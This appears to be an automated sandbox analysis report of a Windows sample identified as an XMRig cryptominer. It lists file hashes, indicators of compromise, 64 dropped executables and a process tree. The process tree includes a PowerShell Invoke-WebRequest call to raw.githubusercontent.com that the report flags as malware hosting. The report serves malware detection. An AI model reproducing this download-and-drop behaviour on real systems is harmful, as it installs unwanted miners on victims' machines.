xmrig | 1d99f4222d0cb656be77318d06c978ea74b3aca81ac8162f359188df27b4ca17

Analysis

max time kernel
150s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
03/05/2024, 04:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
Size

1.9MB
MD5

0fa7ec9d9d796b7632c41aa86e31db34
SHA1

e82d5a180967c9b031c8625bbba7e39ccce88902
SHA256

1d99f4222d0cb656be77318d06c978ea74b3aca81ac8162f359188df27b4ca17
SHA512

8f8a583ed4b02e3e5d2206e7db34278558adbebc47fe4ce3b158390eb988ae02924c33f0254d6d8e98147ff0a0536a61a45c1eb8515a3fea08b15291c3f57874
SSDEEP

49152:Lz071uv4BPMkibTIA5KIP7nTrmBhihM5xC+U1N:NABw

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 40 IoCs

miner

resource	yara_rule
behavioral2/memory/4916-120-0x00007FF7F0130000-0x00007FF7F0522000-memory.dmp	xmrig
behavioral2/memory/448-139-0x00007FF7544C0000-0x00007FF7548B2000-memory.dmp	xmrig
behavioral2/memory/1088-140-0x00007FF63FE50000-0x00007FF640242000-memory.dmp	xmrig
behavioral2/memory/4588-141-0x00007FF7BF0D0000-0x00007FF7BF4C2000-memory.dmp	xmrig
behavioral2/memory/4996-143-0x00007FF7818F0000-0x00007FF781CE2000-memory.dmp	xmrig
behavioral2/memory/3100-229-0x00007FF69E590000-0x00007FF69E982000-memory.dmp	xmrig
behavioral2/memory/4688-250-0x00007FF7C2AC0000-0x00007FF7C2EB2000-memory.dmp	xmrig
behavioral2/memory/1364-249-0x00007FF7B4980000-0x00007FF7B4D72000-memory.dmp	xmrig
behavioral2/memory/2440-248-0x00007FF6D6AD0000-0x00007FF6D6EC2000-memory.dmp	xmrig
behavioral2/memory/4960-247-0x00007FF7748E0000-0x00007FF774CD2000-memory.dmp	xmrig
behavioral2/memory/2768-246-0x00007FF777BA0000-0x00007FF777F92000-memory.dmp	xmrig
behavioral2/memory/2032-244-0x00007FF76FF30000-0x00007FF770322000-memory.dmp	xmrig
behavioral2/memory/3880-206-0x00007FF6B8A80000-0x00007FF6B8E72000-memory.dmp	xmrig
behavioral2/memory/1476-145-0x00007FF760970000-0x00007FF760D62000-memory.dmp	xmrig
behavioral2/memory/1828-144-0x00007FF6FC390000-0x00007FF6FC782000-memory.dmp	xmrig
behavioral2/memory/3312-142-0x00007FF7DF2D0000-0x00007FF7DF6C2000-memory.dmp	xmrig
behavioral2/memory/4860-117-0x00007FF649CD0000-0x00007FF64A0C2000-memory.dmp	xmrig
behavioral2/memory/2072-48-0x00007FF73B1E0000-0x00007FF73B5D2000-memory.dmp	xmrig
behavioral2/memory/2072-6432-0x00007FF73B1E0000-0x00007FF73B5D2000-memory.dmp	xmrig
behavioral2/memory/2768-6438-0x00007FF777BA0000-0x00007FF777F92000-memory.dmp	xmrig
behavioral2/memory/4444-6445-0x00007FF77AAC0000-0x00007FF77AEB2000-memory.dmp	xmrig
behavioral2/memory/4916-6442-0x00007FF7F0130000-0x00007FF7F0522000-memory.dmp	xmrig
behavioral2/memory/1364-6475-0x00007FF7B4980000-0x00007FF7B4D72000-memory.dmp	xmrig
behavioral2/memory/448-6462-0x00007FF7544C0000-0x00007FF7548B2000-memory.dmp	xmrig
behavioral2/memory/4996-6487-0x00007FF7818F0000-0x00007FF781CE2000-memory.dmp	xmrig
behavioral2/memory/4588-6496-0x00007FF7BF0D0000-0x00007FF7BF4C2000-memory.dmp	xmrig
behavioral2/memory/3880-6540-0x00007FF6B8A80000-0x00007FF6B8E72000-memory.dmp	xmrig
behavioral2/memory/1320-6552-0x00007FF68DDE0000-0x00007FF68E1D2000-memory.dmp	xmrig
behavioral2/memory/3020-6572-0x00007FF72D830000-0x00007FF72DC22000-memory.dmp	xmrig
behavioral2/memory/3068-6563-0x00007FF65CF10000-0x00007FF65D302000-memory.dmp	xmrig
behavioral2/memory/4688-6555-0x00007FF7C2AC0000-0x00007FF7C2EB2000-memory.dmp	xmrig
behavioral2/memory/3100-6558-0x00007FF69E590000-0x00007FF69E982000-memory.dmp	xmrig
behavioral2/memory/3120-6537-0x00007FF660E00000-0x00007FF6611F2000-memory.dmp	xmrig
behavioral2/memory/1828-6505-0x00007FF6FC390000-0x00007FF6FC782000-memory.dmp	xmrig
behavioral2/memory/3312-6500-0x00007FF7DF2D0000-0x00007FF7DF6C2000-memory.dmp	xmrig
behavioral2/memory/1476-6491-0x00007FF760970000-0x00007FF760D62000-memory.dmp	xmrig
behavioral2/memory/2440-6477-0x00007FF6D6AD0000-0x00007FF6D6EC2000-memory.dmp	xmrig
behavioral2/memory/4960-6471-0x00007FF7748E0000-0x00007FF774CD2000-memory.dmp	xmrig
behavioral2/memory/3320-6452-0x00007FF741300000-0x00007FF7416F2000-memory.dmp	xmrig
behavioral2/memory/4860-6448-0x00007FF649CD0000-0x00007FF64A0C2000-memory.dmp	xmrig

Blocklisted process makes network request 5 IoCs

flow	pid	Process
8	4856	powershell.exe
10	4856	powershell.exe
12	4856	powershell.exe
13	4856	powershell.exe
19	4856	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4856	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2032	YDfOwce.exe
2072	jFyhzvW.exe
4444	pHhsgBB.exe
3320	XHRVpWB.exe
4860	xUYUuFO.exe
4916	ItlQyAP.exe
448	nvcsdwy.exe
1088	CdkCfvz.exe
2768	KorgsrO.exe
4960	gsFGqQu.exe
4588	tiIOwbl.exe
3312	EeqpmNb.exe
2440	DqcWraw.exe
4996	neNevsM.exe
1828	cCfYuFF.exe
1476	SIwmbSP.exe
3120	BHEUhoP.exe
1320	ngUrgFp.exe
3068	TieiIXq.exe
1364	DMTkMOH.exe
3020	hQLRdfa.exe
3880	iMZapqp.exe
3100	wJrYnzs.exe
4688	LWWVDIG.exe
2208	XzAGObB.exe
3728	yRcecAv.exe
744	PmghCyh.exe
4604	IXFaTEH.exe
1624	eGKehly.exe
4488	tTIdHTU.exe
5048	CvHLzQI.exe
3164	QEcDkgt.exe
3188	kYfuQbx.exe
3748	wDraVxS.exe
2520	bnLIWpK.exe
2152	PblGktI.exe
3000	HjIoGIt.exe
3004	gmBvGsT.exe
2508	TWcQUaq.exe
2008	srnpgJQ.exe
1596	pLAvvKk.exe
2016	QqgunyR.exe
3584	sSAiqSN.exe
3044	XgWBZOo.exe
3520	AeoyZoY.exe
3688	TvxIpDS.exe
4456	EhTRkrN.exe
4920	wMxPzPu.exe
4516	zDnlcjE.exe
2984	CgPhCxO.exe
4628	rZfBeXa.exe
4556	FfGZBcp.exe
1812	hSsnDyS.exe
4192	brsAXFQ.exe
3268	lpLScyq.exe
4072	txeihFo.exe
2896	iSctwoN.exe
2332	jhdEXhJ.exe
4608	Lpisgil.exe
4372	JzlgdZP.exe
372	VYJrpOa.exe
5092	TfzlAHk.exe
3280	wciACWr.exe
2572	nWGvKag.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4712-0-0x00007FF6AF400000-0x00007FF6AF7F2000-memory.dmp	upx
behavioral2/files/0x000a000000023b8b-7.dat	upx
behavioral2/files/0x000b000000023b86-8.dat	upx
behavioral2/files/0x000a000000023b8c-23.dat	upx
behavioral2/files/0x000a000000023b8e-73.dat	upx
behavioral2/files/0x000a000000023b9d-93.dat	upx
behavioral2/memory/4916-120-0x00007FF7F0130000-0x00007FF7F0522000-memory.dmp	upx
behavioral2/memory/448-139-0x00007FF7544C0000-0x00007FF7548B2000-memory.dmp	upx
behavioral2/memory/1088-140-0x00007FF63FE50000-0x00007FF640242000-memory.dmp	upx
behavioral2/memory/4588-141-0x00007FF7BF0D0000-0x00007FF7BF4C2000-memory.dmp	upx
behavioral2/memory/4996-143-0x00007FF7818F0000-0x00007FF781CE2000-memory.dmp	upx
behavioral2/memory/3068-148-0x00007FF65CF10000-0x00007FF65D302000-memory.dmp	upx
behavioral2/files/0x000a000000023bb0-213.dat	upx
behavioral2/files/0x000a000000023baf-212.dat	upx
behavioral2/memory/3100-229-0x00007FF69E590000-0x00007FF69E982000-memory.dmp	upx
behavioral2/memory/4688-250-0x00007FF7C2AC0000-0x00007FF7C2EB2000-memory.dmp	upx
behavioral2/memory/1364-249-0x00007FF7B4980000-0x00007FF7B4D72000-memory.dmp	upx
behavioral2/memory/2440-248-0x00007FF6D6AD0000-0x00007FF6D6EC2000-memory.dmp	upx
behavioral2/memory/4960-247-0x00007FF7748E0000-0x00007FF774CD2000-memory.dmp	upx
behavioral2/memory/2768-246-0x00007FF777BA0000-0x00007FF777F92000-memory.dmp	upx
behavioral2/memory/2032-244-0x00007FF76FF30000-0x00007FF770322000-memory.dmp	upx
behavioral2/files/0x000a000000023bae-211.dat	upx
behavioral2/files/0x000a000000023bad-210.dat	upx
behavioral2/files/0x000a000000023bac-209.dat	upx
behavioral2/memory/3880-206-0x00007FF6B8A80000-0x00007FF6B8E72000-memory.dmp	upx
behavioral2/files/0x000a000000023bab-205.dat	upx
behavioral2/files/0x000a000000023ba2-195.dat	upx
behavioral2/files/0x000a000000023ba0-192.dat	upx
behavioral2/files/0x000a000000023b9f-189.dat	upx
behavioral2/files/0x000a000000023ba8-187.dat	upx
behavioral2/files/0x000a000000023ba1-176.dat	upx
behavioral2/files/0x000a000000023ba7-175.dat	upx
behavioral2/files/0x000a000000023ba6-170.dat	upx
behavioral2/files/0x000a000000023ba5-169.dat	upx
behavioral2/files/0x000a000000023b9b-166.dat	upx
behavioral2/files/0x000a000000023b9e-163.dat	upx
behavioral2/files/0x000a000000023b9a-160.dat	upx
behavioral2/files/0x000a000000023ba4-159.dat	upx
behavioral2/files/0x000a000000023b96-153.dat	upx
behavioral2/files/0x000a000000023ba3-151.dat	upx
behavioral2/memory/3020-149-0x00007FF72D830000-0x00007FF72DC22000-memory.dmp	upx
behavioral2/memory/1320-147-0x00007FF68DDE0000-0x00007FF68E1D2000-memory.dmp	upx
behavioral2/memory/3120-146-0x00007FF660E00000-0x00007FF6611F2000-memory.dmp	upx
behavioral2/memory/1476-145-0x00007FF760970000-0x00007FF760D62000-memory.dmp	upx
behavioral2/memory/1828-144-0x00007FF6FC390000-0x00007FF6FC782000-memory.dmp	upx
behavioral2/memory/3312-142-0x00007FF7DF2D0000-0x00007FF7DF6C2000-memory.dmp	upx
behavioral2/files/0x000a000000023b99-137.dat	upx
behavioral2/files/0x000a000000023b93-134.dat	upx
behavioral2/memory/4860-117-0x00007FF649CD0000-0x00007FF64A0C2000-memory.dmp	upx
behavioral2/files/0x000a000000023b95-109.dat	upx
behavioral2/files/0x000a000000023b98-101.dat	upx
behavioral2/files/0x000a000000023b97-98.dat	upx
behavioral2/files/0x000a000000023b92-94.dat	upx
behavioral2/files/0x000a000000023b9c-91.dat	upx
behavioral2/files/0x000a000000023b94-104.dat	upx
behavioral2/memory/3320-88-0x00007FF741300000-0x00007FF7416F2000-memory.dmp	upx
behavioral2/memory/4444-67-0x00007FF77AAC0000-0x00007FF77AEB2000-memory.dmp	upx
behavioral2/files/0x000a000000023b8f-59.dat	upx
behavioral2/memory/2072-48-0x00007FF73B1E0000-0x00007FF73B5D2000-memory.dmp	upx
behavioral2/files/0x000a000000023b91-44.dat	upx
behavioral2/files/0x000a000000023b90-35.dat	upx
behavioral2/files/0x000a000000023b8d-53.dat	upx
behavioral2/files/0x000a000000023b8a-26.dat	upx
behavioral2/memory/2072-6432-0x00007FF73B1E0000-0x00007FF73B5D2000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
8	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\NErCoPj.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\hIULMlI.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\oFPnIIS.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\muQSYHM.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\CBXboUJ.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\EyTgqmB.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\bVsIrpa.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\wOOBwUC.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\wUbowYr.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\GmWHifR.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\lloJPtx.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\efGCIes.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\kJwWEHc.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\DUOUFbI.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\hrQmxOE.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\TzjubTJ.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\gesHUKK.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\nGUXoVm.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\NSpZlOH.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\fhbfloB.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\ZoOQHJI.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\voFJLTN.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\tiEORsj.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\ImiqtFV.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\idcNGYB.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\ezbEdoe.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\zAfIpXA.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\ezGyTJe.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\SemNcGU.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\jlWpABQ.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\USypMzK.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\uzMmjYI.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\sUuefoV.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\xiyJYXy.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\XPeMmTB.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\hgjIXuP.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\ZPSeBne.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\JZmJqNz.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\bHHEsDS.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\FOttEWv.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\DpOgoaS.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\hdnZQtH.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\LnyZSmd.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\nPnLMVN.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\PnSnZAz.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\ifkNepM.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\NvukZxe.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\KTtavqK.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\rCeOOlh.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\IBZhuzL.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\EQMnCEU.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\TgnOcAH.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\kpgmcgz.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\ymgMBiQ.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\dnIPgtA.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\xuBeIcr.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\YjQgWPE.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\IMfjYMM.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\oKAHUmw.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\QaCpYyh.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\tWimVKE.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\qfJAhqc.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\UpVDiAf.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
File created	C:\Windows\System\EHTzVQE.exe	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4856	powershell.exe
4856	powershell.exe
4856	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeLockMemoryPrivilege	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4712 wrote to memory of 4856	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	85
PID 4712 wrote to memory of 4856	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	85
PID 4712 wrote to memory of 2032	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	86
PID 4712 wrote to memory of 2032	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	86
PID 4712 wrote to memory of 2072	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	87
PID 4712 wrote to memory of 2072	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	87
PID 4712 wrote to memory of 4444	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	88
PID 4712 wrote to memory of 4444	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	88
PID 4712 wrote to memory of 3320	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	89
PID 4712 wrote to memory of 3320	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	89
PID 4712 wrote to memory of 4860	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	90
PID 4712 wrote to memory of 4860	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	90
PID 4712 wrote to memory of 4916	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	91
PID 4712 wrote to memory of 4916	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	91
PID 4712 wrote to memory of 448	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	92
PID 4712 wrote to memory of 448	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	92
PID 4712 wrote to memory of 1088	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	93
PID 4712 wrote to memory of 1088	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	93
PID 4712 wrote to memory of 2768	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	94
PID 4712 wrote to memory of 2768	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	94
PID 4712 wrote to memory of 4960	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	95
PID 4712 wrote to memory of 4960	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	95
PID 4712 wrote to memory of 1828	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	96
PID 4712 wrote to memory of 1828	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	96
PID 4712 wrote to memory of 4588	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	97
PID 4712 wrote to memory of 4588	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	97
PID 4712 wrote to memory of 3312	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	98
PID 4712 wrote to memory of 3312	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	98
PID 4712 wrote to memory of 3120	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	99
PID 4712 wrote to memory of 3120	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	99
PID 4712 wrote to memory of 2440	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	100
PID 4712 wrote to memory of 2440	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	100
PID 4712 wrote to memory of 4996	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	101
PID 4712 wrote to memory of 4996	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	101
PID 4712 wrote to memory of 1476	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	102
PID 4712 wrote to memory of 1476	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	102
PID 4712 wrote to memory of 1320	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	103
PID 4712 wrote to memory of 1320	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	103
PID 4712 wrote to memory of 3068	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	104
PID 4712 wrote to memory of 3068	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	104
PID 4712 wrote to memory of 1364	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	105
PID 4712 wrote to memory of 1364	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	105
PID 4712 wrote to memory of 3020	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	106
PID 4712 wrote to memory of 3020	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	106
PID 4712 wrote to memory of 3880	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	107
PID 4712 wrote to memory of 3880	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	107
PID 4712 wrote to memory of 3100	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	108
PID 4712 wrote to memory of 3100	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	108
PID 4712 wrote to memory of 4688	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	109
PID 4712 wrote to memory of 4688	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	109
PID 4712 wrote to memory of 2208	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	110
PID 4712 wrote to memory of 2208	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	110
PID 4712 wrote to memory of 3728	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	111
PID 4712 wrote to memory of 3728	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	111
PID 4712 wrote to memory of 744	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	112
PID 4712 wrote to memory of 744	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	112
PID 4712 wrote to memory of 4604	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	113
PID 4712 wrote to memory of 4604	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	113
PID 4712 wrote to memory of 1624	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	114
PID 4712 wrote to memory of 1624	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	114
PID 4712 wrote to memory of 4488	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	115
PID 4712 wrote to memory of 4488	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	115
PID 4712 wrote to memory of 5048	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	116
PID 4712 wrote to memory of 5048	4712	0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe	116

C:\Users\Admin\AppData\Local\Temp\0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0fa7ec9d9d796b7632c41aa86e31db34_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4856
- C:\Windows\System\YDfOwce.exe
  C:\Windows\System\YDfOwce.exe
  2⤵
  - Executes dropped EXE
  PID:2032
- C:\Windows\System\jFyhzvW.exe
  C:\Windows\System\jFyhzvW.exe
  2⤵
  - Executes dropped EXE
  PID:2072
- C:\Windows\System\pHhsgBB.exe
  C:\Windows\System\pHhsgBB.exe
  2⤵
  - Executes dropped EXE
  PID:4444
- C:\Windows\System\XHRVpWB.exe
  C:\Windows\System\XHRVpWB.exe
  2⤵
  - Executes dropped EXE
  PID:3320
- C:\Windows\System\xUYUuFO.exe
  C:\Windows\System\xUYUuFO.exe
  2⤵
  - Executes dropped EXE
  PID:4860
- C:\Windows\System\ItlQyAP.exe
  C:\Windows\System\ItlQyAP.exe
  2⤵
  - Executes dropped EXE
  PID:4916
- C:\Windows\System\nvcsdwy.exe
  C:\Windows\System\nvcsdwy.exe
  2⤵
  - Executes dropped EXE
  PID:448
- C:\Windows\System\CdkCfvz.exe
  C:\Windows\System\CdkCfvz.exe
  2⤵
  - Executes dropped EXE
  PID:1088
- C:\Windows\System\KorgsrO.exe
  C:\Windows\System\KorgsrO.exe
  2⤵
  - Executes dropped EXE
  PID:2768
- C:\Windows\System\gsFGqQu.exe
  C:\Windows\System\gsFGqQu.exe
  2⤵
  - Executes dropped EXE
  PID:4960
- C:\Windows\System\cCfYuFF.exe
  C:\Windows\System\cCfYuFF.exe
  2⤵
  - Executes dropped EXE
  PID:1828
- C:\Windows\System\tiIOwbl.exe
  C:\Windows\System\tiIOwbl.exe
  2⤵
  - Executes dropped EXE
  PID:4588
